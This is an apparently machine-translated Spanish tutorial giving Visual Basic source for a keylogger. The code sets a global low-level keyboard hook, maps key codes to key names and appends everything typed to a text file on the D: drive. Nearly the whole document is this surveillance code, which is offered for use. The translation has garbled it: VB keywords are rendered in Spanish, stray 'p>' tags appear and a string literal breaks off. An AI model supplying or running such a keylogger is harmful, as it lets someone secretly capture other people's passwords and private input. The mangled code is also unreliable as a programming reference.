Cómo programar un keylogger usando VB
Lo siguiente está escrito en el módulo:
Tipo público EVENTMSG 'Estructura de retorno
vKey As Long
sKey As Long p> p>
bandera Mientras
tiempo Mientras
Tipo de fin
'Algunas declaraciones
Declarar función UnhookWindowsHookEx Lib "user32 " (ByVal hHook As Long) Mientras
Declarar función SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) Mientras
Declarar función CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal ncode As Long, ByVal wParam As Long, lParam As Long) As Long
Declaración pública Sub CopyMemory Lib "kernel32 " Alias "RtlMoveMemory" (Destino como cualquiera, Fuente como cualquier, Longitud ByVal tan larga)
Mymsg público como EVENTMSG
Const público WH_KEYBOARD_LL = 13 p>
Const pública WM_KEYDOWN = &H100
'Variable global
HHook pública&, i%, appStr$, s1$, s2$, pos1$(), pos2$( )
Sub ints() 'Carga el código ascii y el contenido del teclado correspondiente
appStr = "Inicia la grabación del teclado desde" & Now & "Inicia la grabación del teclado de la siguiente manera... ." & vbCrLf 'Registra el contenido del archivo
s1 = "96 97 98 99 100 101 102 103 104 105 106 107 109 110 111 13 " + _
"144 65 66 67 68 69 70 71 72 73 74 75 76 77 78 7 9 80 81 82 83 84 " + _
"85 86 87 88 89 90 48 49 50 51 52 53 54 55 56 57 192 189 187 220 8 " + _
"44 45 46 145 36 35 19 33 34 38 40 37 39 27 112 113 114 115 116 117 " + _
"118 119 120 121 122 123 9 20 160 162 91 13 161 92 93"
p>s2 = "pequeño 0 pequeño 1 pequeño 2 pequeño 3 pequeño 4 pequeño 5 pequeño 6 pequeño 7 pequeño 8 pequeño 9 pequeño * pequeño + pequeño - pequeño. pequeño / " + _
"pequeño Ingrese pequeño Bloq Num A B C D E F G H I G K L M N O P Q R
S T U V W
"Arriba, abajo, izquierda y derecha ESC F1 F2 F3 F4 F5 F6 F7 F8 F9 F10 F11 F12 " + _
"TAB Bloq Mayús Izquierda Mayús Izquierda Ctrl Izquierda Win Enter Derecha Mayús a la derecha Ganar a la derecha Lista derecha Ctrl"
pos1 = Split(s1, " "): pos2 = Split(s2, " ") 'Ordenar el contenido
End Sub
Función pública MyKBHook(ByVal ncode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Si ncode = 0 Entonces 'Cuando se presiona la tecla
Si wParam = WM_KEYDOWN Entonces p>
CopyMemory mymsg, ByVal lParam, Len(mymsg)
For i = 0 To UBound(pos1) - 1
Si mymsg. vKey = Val(pos1(i )) Luego 'Busque la ubicación de la tecla correspondiente al código ASCII y luego busque el contenido del teclado correspondiente
appStr = appStr & pos2(i) & " ": Salir Para 'Contenido a escribir
Fin si
Siguiente
Fin si
Fin si
MyKBHook = CallNextHookEx(hHook, ncode, wParam, lParam)
Función final
Lo siguiente está escrito en la ventana:
Dim fls$
Private Sub form_Load()
KeyPreview = 1: ScaleMode = 3: AutoRedraw = 1: Caption = "Keylog"
Module1.ints 'Datos de inicialización
hHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf MyKBHook, App .hInstance, 0) 'Hook
'Cargar
Si hHook = 0 Entonces finaliza
End Sub p>
Sub Form_Unload privado (Cancelar como entero)
Llamar a UnhookWindowsHookEx(hHook) 'Cuando el programa salga
Abra "D:\getkey.txt" para agregar como # 1 'Abrir texto
Imprimir #1, Module1.appStr 'Registro único
Imprimir #1, "Hasta" & Ahora() & "¡Fin!" p>
Cerrar #1
Fin Sub
Sub privado Form_KeyDown(Código clave como entero,
Shift As Integer)
Si KeyCode = vbKeyEscape, entonces descárgueme
End Sub